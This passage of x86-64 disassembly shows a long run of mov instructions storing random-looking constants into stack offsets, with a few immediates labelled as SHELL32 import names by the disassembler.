mov qword [rsp + 0xf3f8], rax
mov byte [rsp + 0x430], 0xd8
movabs rax, 0x724562350e1f1e
mov qword [rsp + 0xf400], rax
movabs rax, 0x708f1ba9cdee18
mov qword [rsp + 0xf408], rax
movabs rax, 0x73d7f1038219e1
mov qword [rsp + 0xf410], rax
mov byte [rsp + 0x431], 0x45
mov dword [rsp + 0x79b8], 0xa0b5
mov byte [rsp + 0x432], 0x55
mov dword [rsp + 0x79bc], 0x4e75
mov eax, 0xe6e
mov word [rsp + 0x22f8], ax
movabs rax, 0x718ca0f75d9a49
mov qword [rsp + 0xf418], rax
movabs rax, 0x7a878a27849518
mov qword [rsp + 0xf420], rax
movabs rax, 0x747b54538eef73
mov qword [rsp + 0xf428], rax
mov dword [rsp + 0x79c0], 0x6b6b
mov dword [rsp + 0x79c4], 0xc119
movabs rax, 0x7d16d89a6d746a
mov qword [rsp + 0xf430], rax
mov byte [rsp + 0x433], 0x14
mov dword [rsp + 0x79c8], 0x5ec9
mov dword [rsp + 0x79cc], 0xcb2d
mov eax, 0x5b2
mov word [rsp + 0x22fc], ax
movabs rax, 0x7b48027fb6b361
mov qword [rsp + 0xf438], rax
mov byte [rsp + 0x434], 0x6e
mov eax, 0x521
mov word [rsp + 0x2300], ax
mov eax, 0x55d
mov word [rsp + 0x2304], ax
mov dword [rsp + 0x79d0], 0x3e4f
movabs rax, 0x75efd83226d18d
mov qword [rsp + 0xf440], rax
mov dword [rsp + 0x79d4], 0x50ee
mov byte [rsp + 0x435], 0x8c
mov eax, 0x159
mov word [rsp + 0x2308], ax
movabs rax, 0x70f08ce1f7f337
mov qword [rsp + 0xf448], rax
movabs rax, 0x73661ef8f4a0df
mov qword [rsp + 0xf450], rax
movabs rax, 0x70378abfca4a84
mov qword [rsp + 0xf458], rax
movabs rax, 0x7bb9ddab4c2f66
mov qword [rsp + 0xf460], rax
mov eax, 0x670
mov word [rsp + 0x230c], ax
movabs rax, 0x738f6cdc7b3c98
mov qword [rsp + 0xf468], rax
movabs rax, 0x78dc9000d54a27
mov qword [rsp + 0xf470], rax
mov eax, 0x644
mov word [rsp + 0x2310], ax
mov byte [rsp + 0x436], 0x78
mov eax, 0x767
mov word [rsp + 0x2314], ax
mov eax, 0x33e
mov word [rsp + 0x2318], ax
movabs rax, 0x7d5a35196923e1
mov qword [rsp + 0xf478], rax
movabs rax, 0x748dc58740246b
mov qword [rsp + 0xf480], rax
mov eax, 0x151
mov word [rsp + 0x231c], ax
movabs rax, 0x754f1d7333a8bd
mov qword [rsp + 0xf488], rax
mov dword [rsp + 0x79d8], 0x50cd
mov byte [rsp + 0x437], 0x4b
mov eax, 0x60d
mov word [rsp + 0x2320], ax
mov eax, 0x183
mov word [rsp + 0x2324], ax
movabs rax, 0x70b38e0574a829
mov qword [rsp + 0xf490], rax
movabs rax, 0x7e37339dacb438
mov qword [rsp + 0xf498], rax
mov byte [rsp + 0x438], 0x56
movabs rax, 0x74a703e1935319
mov qword [rsp + 0xf4a0], rax
mov dword [rsp + 0x79dc], 0x5958
mov dword [rsp + 0x79e0], 0xf4fd
movabs rax, 0x761c15aed6bd07
mov qword [rsp + 0xf4a8], rax
mov byte [rsp + 0x439], 0x34
mov dword [rsp + 0x79e4], 0xaadc
mov byte [rsp + 0x43a], 0xae
movabs rax, 0x79910a91137ee7
mov qword [rsp + 0xf4b0], rax
mov dword [rsp + 0x79e8], 0xc
mov byte [rsp + 0x43b], 0x9b
mov eax, 0x6f1
mov word [rsp + 0x2328], ax
movabs rax, 0x79d1f6f4f04ae5
mov qword [rsp + 0xf4b8], rax
mov eax, 0x62c
mov word [rsp + 0x232c], ax
mov byte [rsp + 0x43c], 0x81
mov byte [rsp + 0x43d], 0x60
movabs rax, 0x70c84adf599d40
mov qword [rsp + 0xf4c0], rax
mov dword [rsp + 0x79ec], 0x5c75
mov byte [rsp + 0x43e], 0xeb
mov byte [rsp + 0x43f], 0x23
movabs rax, 0x7785d81e8e3311
mov qword [rsp + 0xf4c8], rax
mov dword [rsp + 0x79f0], 0xb880
mov byte [rsp + 0x440], 0x58
movabs rax, 0x72353c2bf6f933
mov qword [rsp + 0xf4d0], rax
mov eax, 0x679
mov word [rsp + 0x2330], ax
mov dword [rsp + 0x79f4], 0x4b47
mov dword [rsp + 0x79f8], 0x4519
mov dword [rsp + 0x79fc], 0xc66b
mov dword [rsp + 0x7a00], 0x1ee4
movabs rax, 0x7b6fb5b5fad293
mov qword [rsp + 0xf4d8], rax
mov byte [rsp + 0x441], 0x46
mov eax, 0x5c4
mov word [rsp + 0x2334], ax
movabs rax, 0x74934a78047792
mov qword [rsp + 0xf4e0], rax
mov byte [rsp + 0x442], 0xd2
mov byte [rsp + 0x443], 0x84
mov eax, 0x7bf
mov word [rsp + 0x2338], ax
mov byte [rsp + 0x444], 7
mov dword [rsp + 0x7a04], 0xe738
mov byte [rsp + 0x445], 0x5a
movabs rax, 0x7ddfd91e9c43d1
mov qword [rsp + 0xf4e8], rax
movabs rax, 0x7b270093a5cdd8
mov qword [rsp + 0xf4f0], rax
movabs rax, 0x70383089d70d05
mov qword [rsp + 0xf4f8], rax
movabs rax, 0x7c93fb3df51cd1
mov qword [rsp + 0xf500], rax
mov eax, 0x5b
mov word [rsp + 0x233c], ax
mov eax, 0x1e2
mov word [rsp + 0x2340], ax
mov dword [rsp + 0x7a08], 0x2683
mov eax, 0xd89
mov word [rsp + 0x2344], ax
mov eax, 0x560
mov word [rsp + 0x2348], ax
mov eax, 0xc13
mov word [rsp + 0x234c], ax
movabs rax, 0x780638bc439d16
mov qword [rsp + 0xf508], rax
mov dword [rsp + 0x7a0c], 0x3e36
mov dword [rsp + 0x7a10], 0x1092
mov dword [rsp + 0x7a14], 0x4cfd
movabs rax, 0x765aef1fe48c3b
mov qword [rsp + 0xf510], rax
mov byte [rsp + 0x446], 0x6c
mov eax, 0x27a
mov word [rsp + 0x2350], ax
mov byte [rsp + 0x447], 0x62
mov byte [rsp + 0x448], 0x75
mov byte [rsp + 0x449], 0x30
mov dword [rsp + 0x7a18], 0x15d5
movabs rax, 0x74e867f699c02f
mov qword [rsp + 0xf518], rax
mov eax, 0x4b4
mov word [rsp + 0x2354], ax
mov dword [rsp + 0x7a1c], 0x2da8
mov dword [rsp + 0x7a20], 0x24bd
mov byte [rsp + 0x44a], 0x73
mov eax, 0xc93
mov word [rsp + 0x2358], ax
mov eax, 0x4c2
mov word [rsp + 0x235c], ax
mov eax, 0x21c
mov word [rsp + 0x2360], ax
mov byte [rsp + 0x44b], 0x2c
movabs rax, 0x7a21997fb7ba3a
mov qword [rsp + 0xf520], rax
mov dword [rsp + 0x7a24], 0x3f1c
mov dword [rsp + 0x7a28], 0x889
mov dword [rsp + 0x7a2c], 0x3599
movabs rax, 0x71d03239e2afba
mov qword [rsp + 0xf528], rax
movabs rax, 0x726cfbc93059cf
mov qword [rsp + 0xf530], rax
movabs rax, 0x7af71eab983f8e
mov qword [rsp + 0xf538], rax
movabs rax, 0x7ab47325314531
mov qword [rsp + 0xf540], rax
mov dword [rsp + 0x7a30], 0x9ba6
mov dword [rsp + 0x7a34], 0x6d89
mov byte [rsp + 0x44c], 0x71
mov dword [rsp + 0x7a38], 0xff5f
mov eax, 0x8d
mov word [rsp + 0x2364], ax
mov eax, 0xe5e
mov word [rsp + 0x2368], ax
mov dword [rsp + 0x7a3c], 0xdd61
movabs rax, 0x78ef8b744ac1a2
mov qword [rsp + 0xf548], rax
mov eax, 0x5f7
mov word [rsp + 0x236c], ax
mov byte [rsp + 0x44d], 0x61
mov dword [rsp + 0x7a40], 0x1396
mov dword [rsp + 0x7a44], 0xc5ed
mov dword [rsp + 0x7a48], 0x3343
mov eax, 0x339
mov word [rsp + 0x2370], ax
movabs rax, 0x72761a35848e28
mov qword [rsp + 0xf550], rax
mov byte [rsp + 0x44e], 0xc1
movabs rax, 0x710ea14b5721a3
mov qword [rsp + 0xf558], rax
mov byte [rsp + 0x44f], 0
mov byte [rsp + 0x450], 0x99
mov eax, 0x5ec
mov word [rsp + 0x2374], ax
mov byte [rsp + 0x451], 0x4f
movabs rax, 0x7aae44a2290798
mov qword [rsp + 0xf560], rax
mov eax, 0x7a6
mov word [rsp + 0x2378], ax
mov dword [rsp + 0x7a4c], 0xaa15
mov dword [rsp + 0x7a50], 0x5805
mov dword [rsp + 0x7a54], 0x3dad
mov eax, 0x630
mov word [rsp + 0x237c], ax
movabs rax, 0x70dc218f808669
mov qword [rsp + 0xf568], rax
mov eax, 0xe39
mov word [rsp + 0x2380], ax
movabs rax, 0x73853bac326afe
mov qword [rsp + 0xf570], rax
mov eax, 0x31b
mov word [rsp + 0x2384], ax
mov eax, 0x86e
mov word [rsp + 0x2388], ax
movabs rax, 0x713317452c4162
mov qword [rsp + 0xf578], rax
mov byte [rsp + 0x452], 0x41
movabs rax, 0x7c08eb91fb320a
mov qword [rsp + 0xf580], rax
movabs rax, 0x7900c5a0a4cead
mov qword [rsp + 0xf588], rax
mov byte [rsp + 0x453], 0x73
mov byte [rsp + 0x454], 0x26
mov eax, 0x229
mov word [rsp + 0x238c], ax
movabs rax, 0x754b4a0171017b
mov qword [rsp + 0xf590], rax
mov dword [rsp + 0x7a58], 0xcc0e
movabs rax, 0x76a06f7306c7b8
mov qword [rsp + 0xf598], rax
movabs rax, 0x79ff9924bff939
mov qword [rsp + 0xf5a0], rax
mov dword [rsp + 0x7a5c], 0xbe1
movabs rax, 0x7db172e3042c4e
mov qword [rsp + 0xf5a8], rax
movabs rax, 0x73c8e0564111c7
mov qword [rsp + 0xf5b0], rax
movabs rax, 0x7d1774e871dc7e
mov qword [rsp + 0xf5b8], rax
movabs rax, 0x7e7882ae2ec1bd
mov qword [rsp + 0xf5c0], rax
mov dword [rsp + 0x7a60], 0x1259
mov eax, 0x3df
mov word [rsp + 0x2390], ax
mov byte [rsp + 0x455], 0xdd
mov byte [rsp + 0x456], 0x2a
mov dword [rsp + 0x7a64], 0xb030
mov dword [rsp + 0x7a68], 0x226d
movabs rax, 0x7795bdee630ee9
mov qword [rsp + 0xf5c8], rax
mov eax, 0x1d3
mov word [rsp + 0x2394], ax
mov dword [rsp + 0x7a6c], 0xa4c
mov byte [rsp + 0x457], 0x7b
mov byte [rsp + 0x458], 0xa3
mov dword [rsp + 0x7a70], 0x3176
mov byte [rsp + 0x459], 0xb
mov byte [rsp + 0x45a], 0xdf
movabs rax, 0x746bbf16f567ab
mov qword [rsp + 0xf5d0], rax
movabs rax, 0x7c95f75826d73b
mov qword [rsp + 0xf5d8], rax
mov eax, 0xc2d
mov word [rsp + 0x2398], ax
mov eax, 0x26
mov word [rsp + 0x239c], ax
mov dword [rsp + 0x7a74], 0x69e4
mov eax, 0x575
mov word [rsp + 0x23a0], ax
movabs rax, 0x705e1fb7e06ea7
mov qword [rsp + 0xf5e0], rax
movabs rax, 0x7b6da902d62742
mov qword [rsp + 0xf5e8], rax
mov byte [rsp + 0x45b], 0x28
mov byte [rsp + 0x45c], 0x35
mov dword [rsp + 0x7a78], 0x7cbd
mov dword [rsp + 0x7a7c], 0x5115
mov eax, 0x143
mov word [rsp + 0x23a4], ax
movabs rax, 0x74758cd322b03e
mov qword [rsp + 0xf5f0], rax
movabs rax, 0x75424d63bc3a0f
mov qword [rsp + 0xf5f8], rax
movabs rax, 0x71afb976d79534
mov qword [rsp + 0xf600], rax
mov eax, 0x837
mov word [rsp + 0x23a8], ax
mov dword [rsp + 0x7a80], 0x668d
movabs rax, 0x71499ab4e199ea
mov qword [rsp + 0xf608], rax
mov dword [rsp + 0x7a84], 0x2ada
mov byte [rsp + 0x45d], 0x24
movabs rax, 0x7a007daf402428
mov qword [rsp + 0xf610], rax
mov dword [rsp + 0x7a88], 0x84ac
mov byte [rsp + 0x45e], 0x1e
movabs rax, 0x768e83b3f12c38
mov qword [rsp + 0xf618], rax
mov eax, 0x480
mov word [rsp + 0x23ac], ax
mov byte [rsp + 0x45f], 0x63
mov eax, 0x59c
mov word [rsp + 0x23b0], ax
mov byte [rsp + 0x460], 0x96
mov byte [rsp + 0x461], 0x41
movabs rax, 0x7b4d9c78f6560b
mov qword [rsp + 0xf620], rax
mov byte [rsp + 0x462], 0x46
mov eax, 0xcf3
mov word [rsp + 0x23b4], ax
mov byte [rsp + 0x463], 0x51
movabs rax, 0x7d8b9256fff6c4
mov qword [rsp + 0xf628], rax
mov dword [rsp + 0x7a8c], 0x22df
mov byte [rsp + 0x464], 0x1e
movabs rax, 0x7b0364efa83116
mov qword [rsp + 0xf630], rax
mov dword [rsp + 0x7a90], 0x379c
movabs rax, 0x711a3060b234a4
mov qword [rsp + 0xf638], rax
movabs rax, 0x711dd426b3b0cc
mov qword [rsp + 0xf640], rax
mov byte [rsp + 0x465], 0xa
mov eax, 0x3d9
mov word [rsp + 0x23b8], ax
movabs rax, 0x7bd401bc53e0ac
mov qword [rsp + 0xf648], rax
mov eax, 0x5fa
mov word [rsp + 0x23bc], ax
mov dword [rsp + 0x7a94], 0x2e0c
mov dword [rsp + 0x7a98], 0x9636
mov dword [rsp + 0x7a9c], 0x1abf
mov eax, 0x100
mov word [rsp + 0x23c0], ax
mov byte [rsp + 0x466], 0x7a
movabs rax, 0x783ff40afe62a0
mov qword [rsp + 0xf650], rax
mov byte [rsp + 0x467], 0xa0
mov byte [rsp + 0x468], 0x2c
movabs rax, 0x79b39534ab6f6c
mov qword [rsp + 0xf658], rax
mov dword [rsp + 0x7aa0], 0x15a3
movabs rax, 0x7a9325a26d07db
mov qword [rsp + 0xf660], rax
mov dword [rsp + 0x7aa4], 0x5526
mov eax, 0x34c
mov word [rsp + 0x23c4], ax
mov byte [rsp + 0x469], 0x2f
movabs rax, 0x7385254e81c270
mov qword [rsp + 0xf668], rax
mov byte [rsp + 0x46a], 0xe9
movabs rax, 0x7c9b3f59782dde
mov qword [rsp + 0xf670], rax
mov eax, 0x935
mov word [rsp + 0x23c8], ax
movabs rax, 0x756a2b6abfabad
mov qword [rsp + 0xf678], rax
mov dword [rsp + 0x7aa8], 0x3abb
mov dword [rsp + 0x7aac], 0xee65
movabs rax, 0x72faab104670a9
mov qword [rsp + 0xf680], rax
mov dword [rsp + 0x7ab0], 0x7901
mov dword [rsp + 0x7ab4], 0xf233
mov dword [rsp + 0x7ab8], 0x34c0
mov eax, 0x702
mov word [rsp + 0x23cc], ax
movabs rax, 0x7012e78fd1fa8e
mov qword [rsp + 0xf688], rax
mov dword [rsp + 0x7abc], 0xc3f
mov byte [rsp + 0x46b], 2
movabs rax, 0x776f569d9ee064
mov qword [rsp + 0xf690], rax
mov eax, 0xae6
mov word [rsp + 0x23d0], ax
mov dword [rsp + 0x7ac0], 0x261e
movabs rax, 0x782fccf0a44175
mov qword [rsp + 0xf698], rax
mov dword [rsp + 0x7ac4], 0x25bb
mov dword [rsp + 0x7ac8], 0x53ca
movabs rax, 0x7e742a53810c62
mov qword [rsp + 0xf6a0], rax
mov byte [rsp + 0x46c], 0x48
movabs rax, 0x78702da85c3cdd
mov qword [rsp + 0xf6a8], rax
mov eax, 0x7fd
mov word [rsp + 0x23d4], ax
movabs rax, 0x7b86aada7081b0
mov qword [rsp + 0xf6b0], rax
movabs rax, 0x774919fd83b32d
mov qword [rsp + 0xf6b8], rax
mov eax, 0x434
mov word [rsp + 0x23d8], ax
mov eax, 0xafc
mov word [rsp + 0x23dc], ax
mov eax, 0x34b
mov word [rsp + 0x23e0], ax
movabs rax, 0x71e16ad3e6919c
mov qword [rsp + 0xf6c0], rax
mov eax, 0xfb5
mov word [rsp + 0x23e4], ax
mov byte [rsp + 0x46d], 0x1a
mov eax, 0x7de
mov word [rsp + 0x23e8], ax
mov byte [rsp + 0x46e], 0x8d
movabs rax, 0x7106f4c26916e7
mov qword [rsp + 0xf6c8], rax
mov eax, 0x5aa
mov word [rsp + 0x23ec], ax
mov eax, 0x615
mov word [rsp + 0x23f0], ax
mov eax, 0x620
mov word [rsp + 0x23f4], ax
mov eax, 0x6c7
mov word [rsp + 0x23f8], ax
movabs rax, 0x7a2cca6a3b0d50
mov qword [rsp + 0xf6d0], rax
movabs rax, 0x7568641d225e0c
mov qword [rsp + 0xf6d8], rax
mov byte [rsp + 0x46f], 0x61
mov byte [rsp + 0x470], 0xe
mov byte [rsp + 0x471], 0x2c
mov dword [rsp + 0x7acc], 0x4970
mov eax, 0x2ac
mov word [rsp + 0x23fc], ax
mov byte [rsp + 0x472], 0x7c
mov eax, 0x518
mov word [rsp + 0x2400], ax
mov dword [rsp + 0x7ad0], 0x6996
movabs rax, 0x76257967d5a960
mov qword [rsp + 0xf6e0], rax
movabs rax, 0x7c818072575399
mov qword [rsp + 0xf6e8], rax
movabs rax, 0x77c070bf1c1979
mov qword [rsp + 0xf6f0], rax
mov byte [rsp + 0x473], 0xed
mov dword [rsp + 0x7ad4], 0x8a1f
mov eax, 0x38d
mov word [rsp + 0x2404], ax
movabs rax, 0x710b5c3e55678b
mov qword [rsp + 0xf6f8], rax
mov byte [rsp + 0x474], 0x77
mov eax, 0x445
mov word [rsp + 0x2408], ax
mov dword [rsp + 0x7ad8], 0x68e6
movabs rax, 0x79c3beedd023f9
mov qword [rsp + 0xf700], rax
mov eax, 0x181
mov word [rsp + 0x240c], ax
mov eax, 0x16b
mov word [rsp + 0x2410], ax
mov eax, 0x250
mov word [rsp + 0x2414], ax
mov eax, 0x12d
mov word [rsp + 0x2418], ax
mov dword [rsp + 0x7adc], 0x3d83
movabs rax, 0x70e6888a0ffc6b
mov qword [rsp + 0xf708], rax
mov byte [rsp + 0x475], 0x23
mov byte [rsp + 0x476], 0x25
mov dword [rsp + 0x7ae0], 0x38ac
mov eax, 0x6b1
mov word [rsp + 0x241c], ax
mov dword [rsp + 0x7ae4], 0xc7ac
mov eax, 0xd63
mov word [rsp + 0x2420], ax
mov byte [rsp + 0x477], 0xc3
movabs rax, 0x78394745b6438a
mov qword [rsp + 0xf710], rax
movabs rax, 0x7db3b157d063a6
mov qword [rsp + 0xf718], rax
mov byte [rsp + 0x478], 8
mov dword [rsp + 0x7ae8], 0x67fc
mov byte [rsp + 0x479], 0x1f
mov byte [rsp + 0x47a], 0xb6
mov dword [rsp + 0x7aec], 0x16c9
mov byte [rsp + 0x47b], 0xcf
movabs rax, 0x727c110ea95495
mov qword [rsp + 0xf720], rax
movabs rax, 0x7226980ee64fee
mov qword [rsp + 0xf728], rax
movabs rax, 0x76e57db24cb5c5
mov qword [rsp + 0xf730], rax
mov eax, 0x56a
mov word [rsp + 0x2424], ax
mov dword [rsp + 0x7af0], 0x7aff
movabs rax, 0x7cda676f22a8a2
mov qword [rsp + 0xf738], rax
movabs rax, 0x77854f5c5370cd
mov qword [rsp + 0xf740], rax
mov eax, 0xb91
mov word [rsp + 0x2428], ax
mov byte [rsp + 0x47c], 0xe4
mov byte [rsp + 0x47d], 0xaf
mov eax, 0x653
mov word [rsp + 0x242c], ax
mov byte [rsp + 0x47e], 0x64
mov dword [rsp + 0x7af4], 0x6c43
movabs rax, 0x7201e6149b654a
mov qword [rsp + 0xf748], rax
mov dword [rsp + 0x7af8], 0x3f0
mov eax, 0xf18
mov word [rsp + 0x2430], ax
mov dword [rsp + 0x7afc], 0x4949
movabs rax, 0x7b291bb92c0ead
mov qword [rsp + 0xf750], rax
mov eax, 0x5b6
mov word [rsp + 0x2434], ax
mov dword [rsp + 0x7b00], 0x633
mov dword [rsp + 0x7b04], 0x7ec1
mov eax, 0x7c1
mov word [rsp + 0x2438], ax
mov dword [rsp + 0x7b08], 0x4188
mov dword [rsp + 0x7b0c], 0x5772
mov eax, 0x4ea
mov word [rsp + 0x243c], ax
mov eax, 0xea3
mov word [rsp + 0x2440], ax
movabs rax, 0x70e844b36dcea2
mov qword [rsp + 0xf758], rax
movabs rax, 0x7689e1cdb092f9
mov qword [rsp + 0xf760], rax
movabs rax, 0x7ca3da72cb1db8
mov qword [rsp + 0xf768], rax
mov eax, 0x3da
mov word [rsp + 0x2444], ax
mov eax, 0x75b
mov word [rsp + 0x2448], ax
movabs rax, 0x7ea151a6576c14
mov qword [rsp + 0xf770], rax
mov eax, 0xa4c
mov word [rsp + 0x244c], ax
mov eax, 0x2cf
mov word [rsp + 0x2450], ax
movabs rax, 0x71ac7729bce9c1
mov qword [rsp + 0xf778], rax
mov byte [rsp + 0x47f], 0x48
mov eax, 0x6ac
mov word [rsp + 0x2454], ax
mov byte [rsp + 0x480], 0xb2
mov dword [rsp + 0x7b10], 0x758b
mov dword [rsp + 0x7b14], 0x32c4
mov eax, 0xa68
mov word [rsp + 0x2458], ax
mov byte [rsp + 0x481], 0x65
movabs rax, 0x736eacb8d17b2d
mov qword [rsp + 0xf780], rax
mov eax, 0x387
mov word [rsp + 0x245c], ax
mov byte [rsp + 0x482], 0x62
mov eax, 0x48a
mov word [rsp + 0x2460], ax
mov dword [rsp + 0x7b18], 0x9e1d
mov byte [rsp + 0x483], 0x41
mov eax, ILGetNext
mov word [rsp + 0x2464], ax
mov eax, 0x8d4
mov word [rsp + 0x2468], ax
mov eax, 0x2a9
mov word [rsp + 0x246c], ax
movabs rax, 0x75121c6594377d
mov qword [rsp + 0xf788], rax
mov dword [rsp + 0x7b1c], 0x24a2
mov eax, 0xaf0
mov word [rsp + 0x2470], ax
mov eax, 0x138
mov word [rsp + 0x2474], ax
mov dword [rsp + 0x7b20], 0x284d
mov dword [rsp + 0x7b24], 0x1ad4
mov eax, 0x2d0
mov word [rsp + 0x2478], ax
mov dword [rsp + 0x7b28], 0x9521
mov eax, 0x1a6
mov word [rsp + 0x247c], ax
mov eax, 0x2a8
mov word [rsp + 0x2480], ax
mov eax, reloc.SHELL32.dll_ILCreateFromPathW
mov word [rsp + 0x2484], ax
mov byte [rsp + 0x484], 0x2e
mov dword [rsp + 0x7b2c], 0xe7de
mov byte [rsp + 0x485], 0xc5
mov byte [rsp + 0x486], 5
mov byte [rsp + 0x487], 0xf5
mov dword [rsp + 0x7b30], 0x4357
mov eax, 0x159
mov word [rsp + 0x2488], ax
mov byte [rsp + 0x488], 0xe0
movabs rax, 0x7055d6e5cdb5fe
mov qword [rsp + 0xf790], rax
movabs rax, 0x7d8631ddca0547
mov qword [rsp + 0xf798], rax
mov dword [rsp + 0x7b34], 0x74f1
mov byte [rsp + 0x489], 0x49
movabs rax, 0x73325d0f3efd56
mov qword [rsp + 0xf7a0], rax
movabs rax, 0x777ba00eacba10
mov qword [rsp + 0xf7a8], rax
mov eax, 0xdde
mov word [rsp + 0x248c], ax
mov eax, 0x5fc
mov word [rsp + 0x2490], ax
movabs rax, 0x7230a11bfa9180
mov qword [rsp + 0xf7b0], rax
mov eax, 0xb69
mov word [rsp + 0x2494], ax
movabs rax, 0x725b6d9673e98e
mov qword [rsp + 0xf7b8], rax
movabs rax, 0x793416e422155e
mov qword [rsp + 0xf7c0], rax
mov eax, 0xd93
mov word [rsp + 0x2498], ax
movabs rax, 0x741b5bf2845832
mov qword [rsp + 0xf7c8], rax
mov dword [rsp + 0x7b38], 0x2bb2
mov byte [rsp + 0x48a], 0xd9
movabs rax, 0x78b29dad19dde1
mov qword [rsp + 0xf7d0], rax
mov eax, 0x2e7
mov word [rsp + 0x249c], ax
movabs rax, 0x78e0beefcf02bb
mov qword [rsp + 0xf7d8], rax
movabs rax, 0x7496ebaa35f14f
mov qword [rsp + 0xf7e0], rax
movabs rax, 0x76a9718f67664b
mov qword [rsp + 0xf7e8], rax
mov byte [rsp + 0x48b], 0x34
mov dword [rsp + 0x7b3c], 0x2ab2
mov dword [rsp + 0x7b40], 0x346a
mov byte [rsp + 0x48c], 0x6d
movabs rax, 0x7926070b6fec7b
mov qword [rsp + 0xf7f0], rax
mov eax, 0xe6c
mov word [rsp + 0x24a0], ax
mov eax, 0x1b6
mov word [rsp + 0x24a4], ax
mov byte [rsp + 0x48d], 0x26
mov byte [rsp + 0x48e], 0x24
movabs rax, 0x706cc65a1d18f1
mov qword [rsp + 0xf7f8], rax
movabs rax, 0x796fa15d28ccdf
mov qword [rsp + 0xf800], rax
mov byte [rsp + 0x48f], 0x29
movabs rax, 0x78b3d5398e50e3
mov qword [rsp + 0xf808], rax
mov eax, 0xbc3
mov word [rsp + 0x24a8], ax
mov dword [rsp + 0x7b44], 0x48da
movabs rax, 0x737ac74816acf1
mov qword [rsp + 0xf810], rax
movabs rax, 0x764236303934f7
mov qword [rsp + 0xf818], rax
mov dword [rsp + 0x7b48], 0x3ed2
movabs rax, 0x70543042c2ea42
mov qword [rsp + 0xf820], rax
mov byte [rsp + 0x490], 0x4b
mov eax, 0x8c3
mov word [rsp + 0x24ac], ax
mov eax, 0x407
mov word [rsp + 0x24b0], ax
movabs rax, 0x7da346fd2a77ab
mov qword [rsp + 0xf828], rax
mov dword [rsp + 0x7b4c], 0x265b
mov eax, 0x73c
mov word [rsp + 0x24b4], ax
mov byte [rsp + 0x491], 0x7c
mov dword [rsp + 0x7b50], 0x22b2
mov byte [rsp + 0x492], 0x8a
movabs rax, 0x7dcd5bfd1366d8
mov qword [rsp + 0xf830], rax
mov eax, 0x271
mov word [rsp + 0x24b8], ax
movabs rax, 0x76dcc5987570de
mov qword [rsp + 0xf838], rax
mov dword [rsp + 0x7b54], 0x68b4
mov byte [rsp + 0x493], 0x73
mov byte [rsp + 0x494], 0x51
mov byte [rsp + 0x495], 0x6b
movabs rax, 0x7ab833c690083c
mov qword [rsp + 0xf840], rax
mov byte [rsp + 0x496], 0x40
mov eax, 0xdf
mov word [rsp + 0x24bc], ax
movabs rax, 0x75d7de3ddc94da
mov qword [rsp + 0xf848], rax
mov byte [rsp + 0x497], 0xb2
movabs rax, 0x7dd8c091029c2f
mov qword [rsp + 0xf850], rax
mov eax, 0x8c
mov word [rsp + 0x24c0], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x24c4], ax
mov dword [rsp + 0x7b58], 0x46d9
mov byte [rsp + 0x498], 0x77
movabs rax, 0x7eeb19483de013
mov qword [rsp + 0xf858], rax
movabs rax, 0x7227d904921f38
mov qword [rsp + 0xf860], rax
mov eax, 0x1fd
mov word [rsp + 0x24c8], ax
mov dword [rsp + 0x7b5c], 0x95ad
mov dword [rsp + 0x7b60], 0x1a12
movabs rax, 0x7d052fb4218250
mov qword [rsp + 0xf868], rax
movabs rax, 0x7dd183cf810b42
mov qword [rsp + 0xf870], rax
mov eax, 0xff
mov word [rsp + 0x24cc], ax
mov byte [rsp + 0x499], 0xe
movabs rax, 0x7139201658c316
mov qword [rsp + 0xf878], rax
movabs rax, 0x77f3f2be76f5e4
mov qword [rsp + 0xf880], rax
mov byte [rsp + 0x49a], 0x68
mov byte [rsp + 0x49b], 0x44
movabs rax, 0x7e0d4a50dcf32e
mov qword [rsp + 0xf888], rax
mov dword [rsp + 0x7b64], 0x6d6d
mov dword [rsp + 0x7b68], 0x6645
mov dword [rsp + 0x7b6c], 0xde4c
mov byte [rsp + 0x49c], 0x94
movabs rax, 0x7d1f3236bacd05
mov qword [rsp + 0xf890], rax
mov eax, 0x10d
mov word [rsp + 0x24d0], ax
movabs rax, 0x72c9d08ee74625
mov qword [rsp + 0xf898], rax
mov byte [rsp + 0x49d], 0x6e
movabs rax, 0x7a77df983f00a6
mov qword [rsp + 0xf8a0], rax
movabs rax, 0x7d6885b8a8ece6
mov qword [rsp + 0xf8a8], rax
mov dword [rsp + 0x7b70], 0x7af1
movabs rax, 0x747beb13e5bb30
mov qword [rsp + 0xf8b0], rax
mov eax, 0x4a5
mov word [rsp + 0x24d4], ax
mov eax, 0x4ff
mov word [rsp + 0x24d8], ax
mov byte [rsp + 0x49e], 0xa8
movabs rax, 0x720b9b9bd92921
mov qword [rsp + 0xf8b8], rax
mov byte [rsp + 0x49f], 0xd8
movabs rax, 0x7297654c6480b2
mov qword [rsp + 0xf8c0], rax
movabs rax, 0x70ea136dea25f6
mov qword [rsp + 0xf8c8], rax
movabs rax, 0x7b3096ac64d5cb
mov qword [rsp + 0xf8d0], rax
mov byte [rsp + 0x4a0], 0x50
mov eax, 0x26a
mov word [rsp + 0x24dc], ax
mov dword [rsp + 0x7b74], 0x3041
mov byte [rsp + 0x4a1], 0x37
mov dword [rsp + 0x7b78], 0x1210
mov eax, 0xf42
mov word [rsp + 0x24e0], ax
mov dword [rsp + 0x7b7c], 0x6ba1
movabs rax, 0x7e9a630363ba4e
mov qword [rsp + 0xf8d8], rax
movabs rax, 0x777b32a009a338
mov qword [rsp + 0xf8e0], rax
movabs rax, 0x72d84a9fd68471
mov qword [rsp + 0xf8e8], rax
movabs rax, 0x77e65b8a8592b1
mov qword [rsp + 0xf8f0], rax
movabs rax, 0x72c76f8e75d658
mov qword [rsp + 0xf8f8], rax
movabs rax, 0x7bf0cb9f1f7e96
mov qword [rsp + 0xf900], rax
movabs rax, 0x769b84c241d9e6
mov qword [rsp + 0xf908], rax
mov dword [rsp + 0x7b80], 0x35be
movabs rax, 0x7295c1818986f2
mov qword [rsp + 0xf910], rax
movabs rax, 0x79314c026cfc57
mov qword [rsp + 0xf918], rax
mov dword [rsp + 0x7b84], 0xcbfe
mov byte [rsp + 0x4a2], 0x12
mov eax, 0xd7
mov word [rsp + 0x24e4], ax
movabs rax, 0x797ad369bc7845
mov qword [rsp + 0xf920], rax
mov eax, ILIsParent
mov word [rsp + 0x24e8], ax
mov eax, 0x18d
mov word [rsp + 0x24ec], ax
mov eax, 0x4b7
mov word [rsp + 0x24f0], ax
mov byte [rsp + 0x4a3], 0x67
mov dword [rsp + 0x7b88], 0x20eb
mov byte [rsp + 0x4a4], 0x1c
movabs rax, 0x7bff0e8bda1d1f
mov qword [rsp + 0xf928], rax
mov eax, 0x2f1
mov word [rsp + 0x24f4], ax
mov dword [rsp + 0x7b8c], 0x7c3b
